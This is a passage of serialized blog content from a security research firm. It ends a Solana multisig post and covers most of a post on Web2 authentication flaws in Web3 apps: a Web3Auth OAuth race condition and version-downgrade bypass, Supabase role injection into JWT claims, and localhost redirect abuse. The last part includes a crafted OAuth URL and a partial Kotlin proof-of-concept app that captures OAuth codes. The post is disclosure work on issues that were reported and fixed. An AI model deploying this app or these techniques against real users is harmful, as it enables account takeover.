signs and submits the transaction.",{"type":24,"tag":2678,"props":74975,"children":74976},{},[74977],{"type":29,"value":74978},"Wait two minutes for all recent blockhashes to expire.",{"type":24,"tag":2678,"props":74980,"children":74981},{},[74982],{"type":29,"value":74983},"Observe recent transactions associated with the signer to ensure nothing unexpected is submitted.",{"type":24,"tag":2678,"props":74985,"children":74986},{},[74987],{"type":29,"value":74988},"Repeat steps 2 to 4 for each signer",{"type":24,"tag":32,"props":74990,"children":74992},{"id":74991},"beyond",[74993],{"type":29,"value":74994},"Beyond",{"type":24,"tag":25,"props":74996,"children":74997},{},[74998],{"type":29,"value":74999},"Solana's signature model is unique. What can protocols do if they're deploying on blockchains without these unique properties? The most important constraint is observability. There must be a way you can see what you're signing, either while signing or implicitly after the fact.",{"type":24,"tag":25,"props":75001,"children":75002},{},[75003,75005,75012],{"type":29,"value":75004},"For example, pcaversaccio wrote a tool to ",{"type":24,"tag":2773,"props":75006,"children":75009},{"href":75007,"rel":75008},"https://github.com/pcaversaccio/safe-tx-hashes-util",[2777],[75010],{"type":29,"value":75011},"validate Safe transaction hashes",{"type":29,"value":75013},". As the space matures, we hope more open source tooling will come to light.",{"type":24,"tag":24029,"props":75015,"children":75017},{"className":75016,"dataFootnotes":7},[24032],[75018,75023],{"type":24,"tag":32,"props":75019,"children":75021},{"className":75020,"id":21092},[24037],[75022],{"type":29,"value":24040},{"type":24,"tag":2674,"props":75024,"children":75025},{},[75026],{"type":24,"tag":2678,"props":75027,"children":75028},{"id":35967},[75029,75031,75039,75041],{"type":29,"value":75030},"The original version of this blog post did not consider a malicious fee-payer. Thanks to ",{"type":24,"tag":2773,"props":75032,"children":75036},{"href":75033,"rel":75034,":style":75035},"https://twitter.com/PierreArowana",[2777],"color: #B1D0EE; text-decoration: underline;",[75037],{"type":29,"value":75038},"@PierreArowana",{"type":29,"value":75040}," for pointing this out to me. ",{"type":24,"tag":2773,"props":75042,"children":75044},{"href":35995,"ariaLabel":24143,"className":75043,"dataFootnoteBackref":7},[24145],[75045],{"type":29,"value":24148},{"type":24,"tag":8473,"props":75047,"children":75048},{},[75049],{"type":29,"value":8477},{"title":7,"searchDepth":160,"depth":160,"links":75051},[75052,75056,75057,75058],{"id":73248,"depth":160,"text":73251,"children":75053},[75054,75055],{"id":73259,"depth":169,"text":73262},{"id":73538,"depth":169,"text":73541},{"id":74259,"depth":160,"text":74262},{"id":74991,"depth":160,"text":74994},{"id":21092,"depth":160,"text":24040},"content:blog:2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security",{"_path":75063,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":75064,"description":75065,"date":75066,"author":75067,"image":75068,"isFeatured":16,"onBlogPage":16,"tags":75070,"body":75071,"_type":8496,"_id":76768,"_source":8498,"_file":76769,"_stem":76770,"_extension":8501},"/blog/2025-03-07-subverting-web2-authentication-in-web3","Subverting Web2 Authentication in Web3","Web3 authentication uses cryptographic signatures and wallets, but Web2 auth integrations can introduce hidden risks. We explore vulnerabilities like OAuth logic exploits, Supabase misconfigurations, and OAuth abuse in localhost setups.","2025-03-07",[36802,36801],{"src":75069},"/posts/web2-in-web3/title.jpg",[37741],{"type":21,"children":75072,"toc":76750},[75073,75078,75083,75088,75114,75120,75125,75131,75152,75158,75163,75170,75183,75213,75219,75263,75270,75276,75309,75330,75338,75357,75364,75369,75375,75380,75385,75410,75415,75421,75427,75448,75454,75481,75509,75516,75521,75526,75871,75875,75897,75903,75924,75938,75951,75956,75972,75977,76705,76710,76715,76720,76732,76736,76741,76746],{"type":24,"tag":25,"props":75074,"children":75075},{},[75076],{"type":29,"value":75077},"Authentication serves as a cornerstone of secure interactions in Web3, enabling access control, user identity verification, and transaction integrity. Unlike traditional Web2 systems, which often rely on centralized databases and password-based mechanisms, Web3 systems adopt decentralized identifiers (DIDs), cryptographic signatures, and wallet-based authentication. However, there are many applications that still use Web2-based authentication providers to improve the user experience.",{"type":24,"tag":25,"props":75079,"children":75080},{},[75081],{"type":29,"value":75082},"In our research, we focused on Web3 applications that rely on Web2-based authentication methods. Specifically, we analyzed the authentication flows of these applications and identified a lesser-known class of vulnerabilities.",{"type":24,"tag":25,"props":75084,"children":75085},{},[75086],{"type":29,"value":75087},"In this article, we will discuss three cases we discovered:",{"type":24,"tag":2674,"props":75089,"children":75090},{},[75091,75096,75109],{"type":24,"tag":2678,"props":75092,"children":75093},{},[75094],{"type":29,"value":75095},"OAuth Logic Vulnerability on an Authentication Provider",{"type":24,"tag":2678,"props":75097,"children":75098},{},[75099,75101,75107],{"type":29,"value":75100},"Supabase ",{"type":24,"tag":80,"props":75102,"children":75104},{"className":75103},[],[75105],{"type":29,"value":75106},"user_metadata",{"type":29,"value":75108}," misconfiguration",{"type":24,"tag":2678,"props":75110,"children":75111},{},[75112],{"type":29,"value":75113},"OAuth abuse in localhost development environment",{"type":24,"tag":32,"props":75115,"children":75117},{"id":75116},"abusing-oauth-authentication-logic",[75118],{"type":29,"value":75119},"Abusing OAuth Authentication Logic",{"type":24,"tag":25,"props":75121,"children":75122},{},[75123],{"type":29,"value":75124},"During our research, we initially identified some bugs in applications. However, these were mostly simple and well-known issues, so we decided to focus on vulnerabilities within authentication providers themselves.",{"type":24,"tag":43,"props":75126,"children":75128},{"id":75127},"web3auth-introduction",[75129],{"type":29,"value":75130},"Web3Auth Introduction",{"type":24,"tag":25,"props":75132,"children":75133},{},[75134,75141,75143,75150],{"type":24,"tag":2773,"props":75135,"children":75138},{"href":75136,"rel":75137},"https://web3auth.io/",[2777],[75139],{"type":29,"value":75140},"Web3Auth",{"type":29,"value":75142}," is a tool designed to simplify the login process for Web3 applications, eliminating the need for users to manage complex wallet setups or memorize lengthy passwords. One of its products, Web3Auth PnP (Plug and Play), supports ",{"type":24,"tag":2773,"props":75144,"children":75147},{"href":75145,"rel":75146},"https://oauth.net/2/",[2777],[75148],{"type":29,"value":75149},"OAuth2",{"type":29,"value":75151}," authentication using Google. The product employs a sophisticated authentication flow and infrastructure to maintain seamless integration with dApps.",{"type":24,"tag":43,"props":75153,"children":75155},{"id":75154},"web3auth-authentication-flow",[75156],{"type":29,"value":75157},"Web3Auth Authentication flow",{"type":24,"tag":25,"props":75159,"children":75160},{},[75161],{"type":29,"value":75162},"The Web3Auth PnP authentication flow involves a web session server that stores authentication parameters and configurations. Below is a diagram illustrating how the authentication process works:",{"type":24,"tag":25,"props":75164,"children":75165},{},[75166],{"type":24,"tag":63,"props":75167,"children":75169},{"alt":56176,"src":75168},"/posts/web2-in-web3/auth-flow.png",[],{"type":24,"tag":25,"props":75171,"children":75172},{},[75173,75175,75181],{"type":29,"value":75174},"After the final redirect back to the dApp,  the application can use the secret token to authenticate with the service identified by the ",{"type":24,"tag":80,"props":75176,"children":75178},{"className":75177},[],[75179],{"type":29,"value":75180},"client_id",{"type":29,"value":75182},". This design ensures that you cannot use the token to authenticate against any unauthorized application.",{"type":24,"tag":25,"props":75184,"children":75185},{},[75186,75188,75194,75196,75202,75204,75211],{"type":29,"value":75187},"Additionally, it is important to note that each dApp has a whitelist of redirect URLs. The ",{"type":24,"tag":80,"props":75189,"children":75191},{"className":75190},[],[75192],{"type":29,"value":75193},"/start",{"type":29,"value":75195}," validates the ",{"type":24,"tag":80,"props":75197,"children":75199},{"className":75198},[],[75200],{"type":29,"value":75201},"redirect_url",{"type":29,"value":75203}," against the configured ",{"type":24,"tag":2773,"props":75205,"children":75208},{"href":75206,"rel":75207},"https://web3auth.io/docs/dashboard-setup/whitelisting",[2777],[75209],{"type":29,"value":75210},"whitelist",{"type":29,"value":75212}," to ensure it matches one of the allowed URLs.",{"type":24,"tag":43,"props":75214,"children":75216},{"id":75215},"in-transit-cryptography",[75217],{"type":29,"value":75218},"In-transit Cryptography",{"type":24,"tag":25,"props":75220,"children":75221},{},[75222,75224,75231,75233,75239,75241,75247,75249,75254,75256,75261],{"type":29,"value":75223},"The session server employs cryptography to securely send and receive authentication parameters. The ",{"type":24,"tag":2773,"props":75225,"children":75228},{"href":75226,"rel":75227},"https://en.wikipedia.org/wiki/Key_(cryptography)",[2777],[75229],{"type":29,"value":75230},"cryptographic key",{"type":29,"value":75232}," is derived from the ",{"type":24,"tag":80,"props":75234,"children":75236},{"className":75235},[],[75237],{"type":29,"value":75238},"sessionId",{"type":29,"value":75240},"  sent in the ",{"type":24,"tag":80,"props":75242,"children":75244},{"className":75243},[],[75245],{"type":29,"value":75246},"GET",{"type":29,"value":75248}," parameter to the ",{"type":24,"tag":80,"props":75250,"children":75252},{"className":75251},[],[75253],{"type":29,"value":75193},{"type":29,"value":75255},". Since the ",{"type":24,"tag":80,"props":75257,"children":75259},{"className":75258},[],[75260],{"type":29,"value":75238},{"type":29,"value":75262}," can be controlled, it allows us to send and receive data from the session server.",{"type":24,"tag":25,"props":75264,"children":75265},{},[75266],{"type":24,"tag":63,"props":75267,"children":75269},{"alt":56176,"src":75268},"/posts/web2-in-web3/image-2.png",[],{"type":24,"tag":43,"props":75271,"children":75273},{"id":75272},"race-condition",[75274],{"type":29,"value":75275},"Race Condition",{"type":24,"tag":25,"props":75277,"children":75278},{},[75279,75281,75286,75288,75294,75296,75301,75303,75308],{"type":29,"value":75280},"As shown in the diagram, the configuration data from the session server is validated only during the ",{"type":24,"tag":80,"props":75282,"children":75284},{"className":75283},[],[75285],{"type":29,"value":75193},{"type":29,"value":75287}," and later used in the ",{"type":24,"tag":80,"props":75289,"children":75291},{"className":75290},[],[75292],{"type":29,"value":75293},"/end",{"type":29,"value":75295}," enpoint. This introduces a potential race condition that can be exploited if an attacker manages to modify the parameters after  validation (",{"type":24,"tag":80,"props":75297,"children":75299},{"className":75298},[],[75300],{"type":29,"value":75193},{"type":29,"value":75302},") but before  use (",{"type":24,"tag":80,"props":75304,"children":75306},{"className":75305},[],[75307],{"type":29,"value":75293},{"type":29,"value":5745},{"type":24,"tag":25,"props":75310,"children":75311},{},[75312,75314,75321,75323,75328],{"type":29,"value":75313},"To exploit this ",{"type":24,"tag":2773,"props":75315,"children":75318},{"href":75316,"rel":75317},"https://portswigger.net/web-security/race-conditions",[2777],[75319],{"type":29,"value":75320},"race condition",{"type":29,"value":75322},",  an attacker-controlled website can initiate the authentication flow normally. Then, it can send another request to the session server with the same ",{"type":24,"tag":80,"props":75324,"children":75326},{"className":75325},[],[75327],{"type":29,"value":75238},{"type":29,"value":75329}," but with modified malicious parameters.",{"type":24,"tag":25,"props":75331,"children":75332},{},[75333],{"type":24,"tag":10949,"props":75334,"children":75335},{},[75336],{"type":29,"value":75337},"What can be modified to achieve something impactful?",{"type":24,"tag":25,"props":75339,"children":75340},{},[75341,75343,75349,75351,75356],{"type":29,"value":75342},"The answer is quite simple if you understand how OAuth works. The attacker can simply change the ",{"type":24,"tag":80,"props":75344,"children":75346},{"className":75345},[],[75347],{"type":29,"value":75348},"redirect_uri",{"type":29,"value":75350}," parameter to point to their own website and leak the secret token from the query string. With the secret token, they can authenticate against the application defined by ",{"type":24,"tag":80,"props":75352,"children":75354},{"className":75353},[],[75355],{"type":29,"value":75180},{"type":29,"value":87},{"type":24,"tag":25,"props":75358,"children":75359},{},[75360],{"type":24,"tag":63,"props":75361,"children":75363},{"alt":56176,"src":75362},"/posts/web2-in-web3/image-3.png",[],{"type":24,"tag":25,"props":75365,"children":75366},{},[75367],{"type":29,"value":75368},"Using this exploit, we were able to create a website capable of taking over the accounts of victims who followed the standard OAuth flow.",{"type":24,"tag":43,"props":75370,"children":75372},{"id":75371},"patch-bypass",[75373],{"type":29,"value":75374},"Patch & Bypass",{"type":24,"tag":25,"props":75376,"children":75377},{},[75378],{"type":29,"value":75379},"The vulnerability was reported and remediated on the same day (super quickly!). However, we found that the fix was not backported to older versions.",{"type":24,"tag":25,"props":75381,"children":75382},{},[75383],{"type":29,"value":75384},"To bypass the fix we were able to change the version in the URL:",{"type":24,"tag":22292,"props":75386,"children":75387},{},[75388,75399],{"type":24,"tag":2678,"props":75389,"children":75390},{},[75391,75397],{"type":24,"tag":80,"props":75392,"children":75394},{"className":75393},[],[75395],{"type":29,"value":75396},"https://auth.web3auth.io/v8/start",{"type":29,"value":75398}," (latest version)",{"type":24,"tag":2678,"props":75400,"children":75401},{},[75402,75408],{"type":24,"tag":80,"props":75403,"children":75405},{"className":75404},[],[75406],{"type":29,"value":75407},"https://auth.web3auth.io/v6/start",{"type":29,"value":75409}," (bypass)",{"type":24,"tag":25,"props":75411,"children":75412},{},[75413],{"type":29,"value":75414},"We reported this issue, and it was addressed just as quickly!",{"type":24,"tag":32,"props":75416,"children":75418},{"id":75417},"supabase-metadata-manipulation",[75419],{"type":29,"value":75420},"Supabase metadata manipulation",{"type":24,"tag":43,"props":75422,"children":75424},{"id":75423},"supabase-authentication-flow",[75425],{"type":29,"value":75426},"Supabase Authentication flow",{"type":24,"tag":25,"props":75428,"children":75429},{},[75430,75437,75439,75446],{"type":24,"tag":2773,"props":75431,"children":75434},{"href":75432,"rel":75433},"https://supabase.com/docs/guides/auth",[2777],[75435],{"type":29,"value":75436},"Supabase",{"type":29,"value":75438}," is a Backend-as-a-Service (BaaS) platform that provides authentication, database, and real-time APIs. The authentication process begins when a user registers or logs in. Supabase generates a ",{"type":24,"tag":2773,"props":75440,"children":75443},{"href":75441,"rel":75442},"https://jwt.io/",[2777],[75444],{"type":29,"value":75445},"JWT",{"type":29,"value":75447}," for the authenticated user, embedding claims such as the user ID, roles, and additional metadata (either user-provided or system-generated). This token is then returned to the client and used for subsequent API requests, during which the server validates the JWT to confirm the user’s identity and permissions.",{"type":24,"tag":43,"props":75449,"children":75451},{"id":75450},"jwt-verification",[75452],{"type":29,"value":75453},"JWT verification",{"type":24,"tag":25,"props":75455,"children":75456},{},[75457,75459,75464,75465,75471,75473,75479],{"type":29,"value":75458},"In one of our clients' systems, we discovered a vulnerability that allowed the inclusion of custom fields, such as ",{"type":24,"tag":80,"props":75460,"children":75462},{"className":75461},[],[75463],{"type":29,"value":75106},{"type":29,"value":855},{"type":24,"tag":80,"props":75466,"children":75468},{"className":75467},[],[75469],{"type":29,"value":75470},"identity_data",{"type":29,"value":75472},", in a signup request by manipulating the input inside the ",{"type":24,"tag":80,"props":75474,"children":75476},{"className":75475},[],[75477],{"type":29,"value":75478},"\"data\": {}",{"type":29,"value":75480}," structure. These fields were then directly reflected in the issued JWT without validation.",{"type":24,"tag":25,"props":75482,"children":75483},{},[75484,75486,75492,75493,75499,75501,75507],{"type":29,"value":75485},"For example, an attacker could send a signup request with arbitrary data, such as ",{"type":24,"tag":80,"props":75487,"children":75489},{"className":75488},[],[75490],{"type":29,"value":75491},"\"role\": \"admin\"",{"type":29,"value":18751},{"type":24,"tag":80,"props":75494,"children":75496},{"className":75495},[],[75497],{"type":29,"value":75498},"\"email_verified\": true",{"type":29,"value":75500},", which would subsequently be included in the JWT claims. Additionally, it was possible to insert arbitrary fields beyond typical inputs, such as ",{"type":24,"tag":80,"props":75502,"children":75504},{"className":75503},[],[75505],{"type":29,"value":75506},"\"test\": \"test\"",{"type":29,"value":75508},", enabling us to inject arbitrary data into the final JWT token.",{"type":24,"tag":25,"props":75510,"children":75511},{},[75512],{"type":24,"tag":63,"props":75513,"children":75515},{"alt":56176,"src":75514},"/posts/web2-in-web3/image-4.png",[],{"type":24,"tag":25,"props":75517,"children":75518},{},[75519],{"type":29,"value":75520},"In this example we are controlling the \"role\" field within the user metadata. If the application manage roles using the metadata, it would be vulnerable to a privilege escalation since anyone could inject any role there.",{"type":24,"tag":25,"props":75522,"children":75523},{},[75524],{"type":29,"value":75525},"The attacker could subsequently log in on the main platform, retrieve the token, and verify that their injected parameters persist in the JWT by submitting it to a verification endpoint. This happens because a function parseSupaBase was parsing and verifying everything generated by the JWT supabase token.",{"type":24,"tag":137,"props":75527,"children":75529},{"className":36964,"code":75528,"language":36966,"meta":7,"style":7},"function parseSupaBase(token) {\n    try {\n        const [header, payload, signature] = token.split('.');\n        const decodedHeader = JSON.parse(atob(header));\n        const decodedPayload = JSON.parse(atob(payload));\n        return { header: decodedHeader, payload: decodedPayload, signature };\n    } catch (error) {\n        console.error('Error parsing token:', error);\n        return null;\n    }\n}\n",[75530],{"type":24,"tag":80,"props":75531,"children":75532},{"__ignoreMap":7},[75533,75558,75570,75639,75688,75736,75781,75804,75841,75857,75864],{"type":24,"tag":147,"props":75534,"children":75535},{"class":149,"line":150},[75536,75540,75545,75549,75554],{"type":24,"tag":147,"props":75537,"children":75538},{"style":218},[75539],{"type":29,"value":36978},{"type":24,"tag":147,"props":75541,"children":75542},{"style":229},[75543],{"type":29,"value":75544}," parseSupaBase",{"type":24,"tag":147,"props":75546,"children":75547},{"style":235},[75548],{"type":29,"value":480},{"type":24,"tag":147,"props":75550,"children":75551},{"style":247},[75552],{"type":29,"value":75553},"token",{"type":24,"tag":147,"props":75555,"children":75556},{"style":235},[75557],{"type":29,"value":505},{"type":24,"tag":147,"props":75559,"children":75560},{"class":149,"line":160},[75561,75566],{"type":24,"tag":147,"props":75562,"children":75563},{"style":321},[75564],{"type":29,"value":75565},"    try",{"type":24,"tag":147,"props":75567,"children":75568},{"style":235},[75569],{"type":29,"value":6630},{"type":24,"tag":147,"props":75571,"children":75572},{"class":149,"line":169},[75573,75577,75581,75586,75590,75595,75599,75604,75608,75612,75617,75621,75626,75630,75635],{"type":24,"tag":147,"props":75574,"children":75575},{"style":218},[75576],{"type":29,"value":38502},{"type":24,"tag":147,"props":75578,"children":75579},{"style":235},[75580],{"type":29,"value":28634},{"type":24,"tag":147,"props":75582,"children":75583},{"style":247},[75584],{"type":29,"value":75585},"header",{"type":24,"tag":147,"props":75587,"children":75588},{"style":235},[75589],{"type":29,"value":546},{"type":24,"tag":147,"props":75591,"children":75592},{"style":247},[75593],{"type":29,"value":75594},"payload",{"type":24,"tag":147,"props":75596,"children":75597},{"style":235},[75598],{"type":29,"value":546},{"type":24,"tag":147,"props":75600,"children":75601},{"style":247},[75602],{"type":29,"value":75603},"signature",{"type":24,"tag":147,"props":75605,"children":75606},{"style":235},[75607],{"type":29,"value":14286},{"type":24,"tag":147,"props":75609,"children":75610},{"style":241},[75611],{"type":29,"value":369},{"type":24,"tag":147,"props":75613,"children":75614},{"style":247},[75615],{"type":29,"value":75616}," token",{"type":24,"tag":147,"props":75618,"children":75619},{"style":235},[75620],{"type":29,"value":87},{"type":24,"tag":147,"props":75622,"children":75623},{"style":229},[75624],{"type":29,"value":75625},"split",{"type":24,"tag":147,"props":75627,"children":75628},{"style":235},[75629],{"type":29,"value":480},{"type":24,"tag":147,"props":75631,"children":75632},{"style":3534},[75633],{"type":29,"value":75634},"'.'",{"type":24,"tag":147,"props":75636,"children":75637},{"style":235},[75638],{"type":29,"value":1473},{"type":24,"tag":147,"props":75640,"children":75641},{"class":149,"line":178},[75642,75646,75651,75655,75659,75663,75667,75671,75676,75680,75684],{"type":24,"tag":147,"props":75643,"children":75644},{"style":218},[75645],{"type":29,"value":38502},{"type":24,"tag":147,"props":75647,"children":75648},{"style":247},[75649],{"type":29,"value":75650}," decodedHeader",{"type":24,"tag":147,"props":75652,"children":75653},{"style":241},[75654],{"type":29,"value":651},{"type":24,"tag":147,"props":75656,"children":75657},{"style":247},[75658],{"type":29,"value":43126},{"type":24,"tag":147,"props":75660,"children":75661},{"style":235},[75662],{"type":29,"value":87},{"type":24,"tag":147,"props":75664,"children":75665},{"style":229},[75666],{"type":29,"value":44808},{"type":24,"tag":147,"props":75668,"children":75669},{"style":235},[75670],{"type":29,"value":480},{"type":24,"tag":147,"props":75672,"children":75673},{"style":229},[75674],{"type":29,"value":75675},"atob",{"type":24,"tag":147,"props":75677,"children":75678},{"style":235},[75679],{"type":29,"value":480},{"type":24,"tag":147,"props":75681,"children":75682},{"style":247},[75683],{"type":29,"value":75585},{"type":24,"tag":147,"props":75685,"children":75686},{"style":235},[75687],{"type":29,"value":12849},{"type":24,"tag":147,"props":75689,"children":75690},{"class":149,"line":187},[75691,75695,75700,75704,75708,75712,75716,75720,75724,75728,75732],{"type":24,"tag":147,"props":75692,"children":75693},{"style":218},[75694],{"type":29,"value":38502},{"type":24,"tag":147,"props":75696,"children":75697},{"style":247},[75698],{"type":29,"value":75699}," decodedPayload",{"type":24,"tag":147,"props":75701,"children":75702},{"style":241},[75703],{"type":29,"value":651},{"type":24,"tag":147,"props":75705,"children":75706},{"style":247},[75707],{"type":29,"value":43126},{"type":24,"tag":147,"props":75709,"children":75710},{"style":235},[75711],{"type":29,"value":87},{"type":24,"tag":147,"props":75713,"children":75714},{"style":229},[75715],{"type":29,"value":44808},{"type":24,"tag":147,"props":75717,"children":75718},{"style":235},[75719],{"type":29,"value":480},{"type":24,"tag":147,"props":75721,"children":75722},{"style":229},[75723],{"type":29,"value":75675},{"type":24,"tag":147,"props":75725,"children":75726},{"style":235},[75727],{"type":29,"value":480},{"type":24,"tag":147,"props":75729,"children":75730},{"style":247},[75731],{"type":29,"value":75594},{"type":24,"tag":147,"props":75733,"children":75734},{"style":235},[75735],{"type":29,"value":12849},{"type":24,"tag":147,"props":75737,"children":75738},{"class":149,"line":196},[75739,75743,75747,75752,75756,75760,75765,75769,75773,75777],{"type":24,"tag":147,"props":75740,"children":75741},{"style":321},[75742],{"type":29,"value":7020},{"type":24,"tag":147,"props":75744,"children":75745},{"style":235},[75746],{"type":29,"value":15207},{"type":24,"tag":147,"props":75748,"children":75749},{"style":247},[75750],{"type":29,"value":75751},"header:",{"type":24,"tag":147,"props":75753,"children":75754},{"style":247},[75755],{"type":29,"value":75650},{"type":24,"tag":147,"props":75757,"children":75758},{"style":235},[75759],{"type":29,"value":546},{"type":24,"tag":147,"props":75761,"children":75762},{"style":247},[75763],{"type":29,"value":75764},"payload:",{"type":24,"tag":147,"props":75766,"children":75767},{"style":247},[75768],{"type":29,"value":75699},{"type":24,"tag":147,"props":75770,"children":75771},{"style":235},[75772],{"type":29,"value":546},{"type":24,"tag":147,"props":75774,"children":75775},{"style":247},[75776],{"type":29,"value":75603},{"type":24,"tag":147,"props":75778,"children":75779},{"style":235},[75780],{"type":29,"value":23906},{"type":24,"tag":147,"props":75782,"children":75783},{"class":149,"line":205},[75784,75788,75792,75796,75800],{"type":24,"tag":147,"props":75785,"children":75786},{"style":235},[75787],{"type":29,"value":6620},{"type":24,"tag":147,"props":75789,"children":75790},{"style":321},[75791],{"type":29,"value":54010},{"type":24,"tag":147,"props":75793,"children":75794},{"style":235},[75795],{"type":29,"value":408},{"type":24,"tag":147,"props":75797,"children":75798},{"style":247},[75799],{"type":29,"value":20477},{"type":24,"tag":147,"props":75801,"children":75802},{"style":235},[75803],{"type":29,"value":505},{"type":24,"tag":147,"props":75805,"children":75806},{"class":149,"line":214},[75807,75812,75816,75820,75824,75829,75833,75837],{"type":24,"tag":147,"props":75808,"children":75809},{"style":247},[75810],{"type":29,"value":75811},"        console",{"type":24,"tag":147,"props":75813,"children":75814},{"style":235},[75815],{"type":29,"value":87},{"type":24,"tag":147,"props":75817,"children":75818},{"style":229},[75819],{"type":29,"value":20477},{"type":24,"tag":147,"props":75821,"children":75822},{"style":235},[75823],{"type":29,"value":480},{"type":24,"tag":147,"props":75825,"children":75826},{"style":3534},[75827],{"type":29,"value":75828},"'Error parsing token:'",{"type":24,"tag":147,"props":75830,"children":75831},{"style":235},[75832],{"type":29,"value":546},{"type":24,"tag":147,"props":75834,"children":75835},{"style":247},[75836],{"type":29,"value":20477},{"type":24,"tag":147,"props":75838,"children":75839},{"style":235},[75840],{"type":29,"value":1473},{"type":24,"tag":147,"props":75842,"children":75843},{"class":149,"line":272},[75844,75848,75853],{"type":24,"tag":147,"props":75845,"children":75846},{"style":321},[75847],{"type":29,"value":7020},{"type":24,"tag":147,"props":75849,"children":75850},{"style":218},[75851],{"type":29,"value":75852}," null",{"type":24,"tag":147,"props":75854,"children":75855},{"style":235},[75856],{"type":29,"value":432},{"type":24,"tag":147,"props":75858,"children":75859},{"class":149,"line":281},[75860],{"type":24,"tag":147,"props":75861,"children":75862},{"style":235},[75863],{"type":29,"value":1952},{"type":24,"tag":147,"props":75865,"children":75866},{"class":149,"line":299},[75867],{"type":24,"tag":147,"props":75868,"children":75869},{"style":235},[75870],{"type":29,"value":827},{"type":24,"tag":43,"props":75872,"children":75873},{"id":45929},[75874],{"type":29,"value":45932},{"type":24,"tag":25,"props":75876,"children":75877},{},[75878,75880,75887,75889,75895],{"type":29,"value":75879},"Developers should avoid trusting input from their Supabase custom domain. ",{"type":24,"tag":2773,"props":75881,"children":75884},{"href":75882,"rel":75883},"https://supabase.com/docs/guides/database/postgres/row-level-security",[2777],[75885],{"type":29,"value":75886},"Row-Level Security",{"type":29,"value":75888}," (RLS) on Supabase should be enforced, plus important and private fields should be defined in ",{"type":24,"tag":80,"props":75890,"children":75892},{"className":75891},[],[75893],{"type":29,"value":75894},"app_metadata",{"type":29,"value":75896},". These fields must be strictly validated at every step of their creation and update processes.",{"type":24,"tag":32,"props":75898,"children":75900},{"id":75899},"oauth-in-development-environments",[75901],{"type":29,"value":75902},"OAuth in development environments",{"type":24,"tag":25,"props":75904,"children":75905},{},[75906,75908,75915,75917,75922],{"type":29,"value":75907},"After watching a ",{"type":24,"tag":2773,"props":75909,"children":75912},{"href":75910,"rel":75911},"https://docs.google.com/presentation/d/1571_ZSOtfVat9u63zfn1ugTPZRN7pQsFIblcxci3czM/edit",[2777],[75913],{"type":29,"value":75914},"talk",{"type":29,"value":75916}," by Luan Herrera on exploiting the logic of desktop apps that use OAuth for authentication (specifically using a localhost server), we noticed that many of our customers also permitted localhost within the ",{"type":24,"tag":80,"props":75918,"children":75920},{"className":75919},[],[75921],{"type":29,"value":75348},{"type":29,"value":75923}," parameter during the OAuth flow.",{"type":24,"tag":25,"props":75925,"children":75926},{},[75927,75929,75936],{"type":29,"value":75928},"Herrera's research highlights that if localhost is allowed as a redirect URI, it is generally not exploitable in a desktop environment because impersonating localhost without ",{"type":24,"tag":2773,"props":75930,"children":75933},{"href":75931,"rel":75932},"https://www.cloudflare.com/learning/security/what-is-remote-code-execution/",[2777],[75934],{"type":29,"value":75935},"Remote Code Execution",{"type":29,"value":75937}," (RCE) is impossible. However, the scenario changes in a mobile environment, where it is feasible to open a localhost web server using a malicious app, making exploitation possible.",{"type":24,"tag":25,"props":75939,"children":75940},{},[75941,75943,75949],{"type":29,"value":75942},"In one of our client's implementations, we identified that ",{"type":24,"tag":80,"props":75944,"children":75946},{"className":75945},[],[75947],{"type":29,"value":75948},"localhost:3000",{"type":29,"value":75950}," was permitted. The exploitation method is the same as demonstrated in Herrera's talk. However, we observed that localhost servers are frequently used and whitelisted by developers, not only for desktop applications but also for testing and development environments.",{"type":24,"tag":25,"props":75952,"children":75953},{},[75954],{"type":29,"value":75955},"For the exploitation, the final Google OAuth URL was constructed as follows:",{"type":24,"tag":137,"props":75957,"children":75961},{"className":75958,"code":75959,"language":75960,"meta":7,"style":7},"language-url shiki shiki-themes slack-dark","https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\n","url",[75962],{"type":24,"tag":80,"props":75963,"children":75964},{"__ignoreMap":7},[75965],{"type":24,"tag":147,"props":75966,"children":75967},{"class":149,"line":150},[75968],{"type":24,"tag":147,"props":75969,"children":75970},{},[75971],{"type":29,"value":75959},{"type":24,"tag":25,"props":75973,"children":75974},{},[75975],{"type":29,"value":75976},"Since there was no public exploit, we also created a proof of concept demonstrating how a malicious APK can be created to steal the OAuth token simply by opening the malicious app. This occurs without any user interaction and results in account takeover.",{"type":24,"tag":137,"props":75978,"children":75982},{"className":75979,"code":75980,"language":75981,"meta":7,"style":7},"language-kotlin shiki shiki-themes slack-dark","class MainActivity : AppCompatActivity() {\n\n    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.search;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    